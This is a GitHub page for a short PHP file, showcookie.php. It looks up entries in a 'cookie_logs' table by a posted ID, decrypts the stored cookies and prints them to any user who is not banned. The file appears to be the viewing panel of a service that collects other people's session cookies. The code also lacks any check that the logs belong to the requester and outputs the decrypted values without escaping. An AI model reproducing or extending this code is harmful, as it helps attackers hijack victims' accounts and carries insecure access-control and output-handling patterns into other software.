-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathshowcookie.php
30 lines (23 loc) · 1.19 KB
/
showcookie.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
@session_start();
require_once 'includes/functions.php';
header('Content-type: application/json; charset=UTF-8');
$getRank = pdoQuery($db, "SELECT `rank` FROM `users` WHERE `id`=?", [htmlspecialchars($_SESSION['ID'])])->fetchColumn();
$banned = pdoQuery($db, "SELECT `banned` FROM `users` WHERE `id`=?", [htmlspecialchars($_SESSION['ID'])])->fetchColumn();
if (isset($_POST['id']) && !empty($_POST['id'])){
if($banned == 0){
$get = pdoQuery($db, "SELECT * FROM `cookie_logs` WHERE `cookieID`=?", [htmlspecialchars($_POST['id'])]);
$results = $get->fetchAll(PDO::FETCH_ASSOC);
foreach($results as $result){
$cookie = decrypt(htmlspecialchars($result['cookie']));
echo "<div class='d-flex justify-content-start bd-highlight mb-2 text-muted text-left text-darkwhite'>
<div class='p-2 bd-highlight'>$cookie</div>
</div>";
}
}else{
echo "<div class='d-flex justify-content-start bd-highlight mb-2 text-muted text-left text-lightred'>
<div class='p-2 bd-highlight'>You are banned. :'D</div>
</div>";
}
}
?>